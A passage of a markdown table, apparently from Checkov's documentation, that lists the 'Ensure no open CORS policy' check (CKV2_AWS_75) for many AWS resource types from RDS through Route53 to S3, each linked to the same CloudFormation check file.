|\n| 1239 | CKV2_AWS_75 | resource | aws_rds_instance_state                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1240 | CKV2_AWS_75 | resource | aws_rds_integration                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1241 | CKV2_AWS_75 | resource | aws_rds_reserved_instance                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1242 | CKV2_AWS_75 | resource | aws_redshift_authentication_profile                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1243 | CKV2_AWS_75 | resource | aws_redshift_cluster                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1244 | CKV2_AWS_75 | resource | aws_redshift_cluster_iam_roles                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1245 | CKV2_AWS_75 | resource | aws_redshift_cluster_snapshot                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1246 | CKV2_AWS_75 | resource | aws_redshift_data_share_authorization                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1247 | CKV2_AWS_75 | resource | aws_redshift_data_share_consumer_association                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1248 | CKV2_AWS_75 | resource | aws_redshift_endpoint_access                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1249 | CKV2_AWS_75 | resource | aws_redshift_endpoint_authorization                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1250 | CKV2_AWS_75 | resource | aws_redshift_event_subscription                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1251 | CKV2_AWS_75 | resource | aws_redshift_hsm_client_certificate                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1252 | CKV2_AWS_75 | resource | aws_redshift_hsm_configuration                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1253 | CKV2_AWS_75 | resource | aws_redshift_logging                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1254 | CKV2_AWS_75 | resource | aws_redshift_parameter_group                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1255 | CKV2_AWS_75 | resource | aws_redshift_partner                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1256 | CKV2_AWS_75 | resource | aws_redshift_resource_policy                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1257 | CKV2_AWS_75 | resource | aws_redshift_scheduled_action                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1258 | CKV2_AWS_75 | resource | aws_redshift_security_group                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1259 | CKV2_AWS_75 | resource | aws_redshift_snapshot_copy                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1260 | CKV2_AWS_75 | resource | aws_redshift_snapshot_copy_grant                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1261 | CKV2_AWS_75 | resource | aws_redshift_snapshot_schedule                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1262 | CKV2_AWS_75 | resource | aws_redshift_snapshot_schedule_association                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1263 | CKV2_AWS_75 | resource | aws_redshift_subnet_group                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1264 | CKV2_AWS_75 | resource | aws_redshift_usage_limit                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1265 | CKV2_AWS_75 | resource | aws_redshiftdata_statement                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1266 | CKV2_AWS_75 | resource | aws_redshiftserverless_custom_domain_association                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1267 | CKV2_AWS_75 | resource | aws_redshiftserverless_endpoint_access                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1268 | CKV2_AWS_75 | resource | aws_redshiftserverless_namespace                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1269 | CKV2_AWS_75 | resource | aws_redshiftserverless_resource_policy                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1270 | CKV2_AWS_75 | resource | aws_redshiftserverless_snapshot                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1271 | CKV2_AWS_75 | resource | aws_redshiftserverless_usage_limit                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1272 | CKV2_AWS_75 | resource | aws_redshiftserverless_workgroup                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1273 | CKV2_AWS_75 | resource | aws_region_info                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1274 | CKV2_AWS_75 | resource | aws_rekognition_collection                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1275 | CKV2_AWS_75 | resource | aws_rekognition_project                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1276 | CKV2_AWS_75 | resource | aws_rekognition_stream_processor                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1277 | CKV2_AWS_75 | resource | aws_resiliencehub_resiliency_policy                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1278 | CKV2_AWS_75 | resource | aws_resourceexplorer2_index                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1279 | CKV2_AWS_75 | resource | aws_resourceexplorer2_view                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1280 | CKV2_AWS_75 | resource | aws_resourcegroups_group                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1281 | CKV2_AWS_75 | resource | aws_resourcegroups_resource                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1282 | CKV2_AWS_75 | resource | aws_rolesanywhere_profile                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1283 | CKV2_AWS_75 | resource | aws_rolesanywhere_trust_anchor                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1284 | CKV2_AWS_75 | resource | aws_root                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1285 | CKV2_AWS_75 | resource | aws_root_access_key                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1286 | CKV2_AWS_75 | resource | aws_route                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1287 | CKV2_AWS_75 | resource | aws_route53_cidr_collection                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1288 | CKV2_AWS_75 | resource | aws_route53_cidr_location                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1289 | CKV2_AWS_75 | resource | aws_route53_delegation_set                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1290 | CKV2_AWS_75 | resource | aws_route53_health_check                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1291 | CKV2_AWS_75 | resource | aws_route53_hosted_zone_dnssec                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1292 | CKV2_AWS_75 | resource | aws_route53_key_signing_key                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1293 | CKV2_AWS_75 | resource | aws_route53_query_log                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1294 | CKV2_AWS_75 | resource | aws_route53_record                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1295 | CKV2_AWS_75 | resource | aws_route53_resolver_config                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1296 | CKV2_AWS_75 | resource | aws_route53_resolver_dnssec_config                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1297 | CKV2_AWS_75 | resource | aws_route53_resolver_endpoint                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1298 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_config                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1299 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_domain_list                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1300 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1301 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule_group                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1302 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule_group_association             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1303 | CKV2_AWS_75 | resource | aws_route53_resolver_query_log_config                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1304 | CKV2_AWS_75 | resource | aws_route53_resolver_query_log_config_association                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1305 | CKV2_AWS_75 | resource | aws_route53_resolver_rule                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1306 | CKV2_AWS_75 | resource | aws_route53_resolver_rule_association                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1307 | CKV2_AWS_75 | resource | aws_route53_traffic_policy                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1308 | CKV2_AWS_75 | resource | aws_route53_traffic_policy_instance                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1309 | CKV2_AWS_75 | resource | aws_route53_vpc_association_authorization                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1310 | CKV2_AWS_75 | resource | aws_route53_zone                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1311 | CKV2_AWS_75 | resource | aws_route53_zone_association                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1312 | CKV2_AWS_75 | resource | aws_route53domains_delegation_signer_record                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1313 | CKV2_AWS_75 | resource | aws_route53domains_domain                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1314 | CKV2_AWS_75 | resource | aws_route53domains_registered_domain                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1315 | CKV2_AWS_75 | resource | aws_route53profiles_association                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1316 | CKV2_AWS_75 | resource | aws_route53profiles_profile                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1317 | CKV2_AWS_75 | resource | aws_route53profiles_resource_association                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1318 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_cluster                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1319 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_control_panel                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1320 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_routing_control                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1321 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_safety_rule                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1322 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_cell                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1323 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_readiness_check                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1324 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_recovery_group                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1325 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_resource_set                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1326 | CKV2_AWS_75 | resource | aws_route_table                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1327 | CKV2_AWS_75 | resource | aws_route_table_association                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1328 | CKV2_AWS_75 | resource | aws_rum_app_monitor                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1329 | CKV2_AWS_75 | resource | aws_rum_metrics_destination                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1330 | CKV2_AWS_75 | resource | aws_s3_access_point                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1331 | CKV2_AWS_75 | resource | aws_s3_account_public_access_block                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1332 | CKV2_AWS_75 | resource | aws_s3_bucket                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1333 | CKV2_AWS_75 | resource | aws_s3_bucket_accelerate_configuration                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1334 | CKV2_AWS_75 | resource | aws_s3_bucket_acl                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | 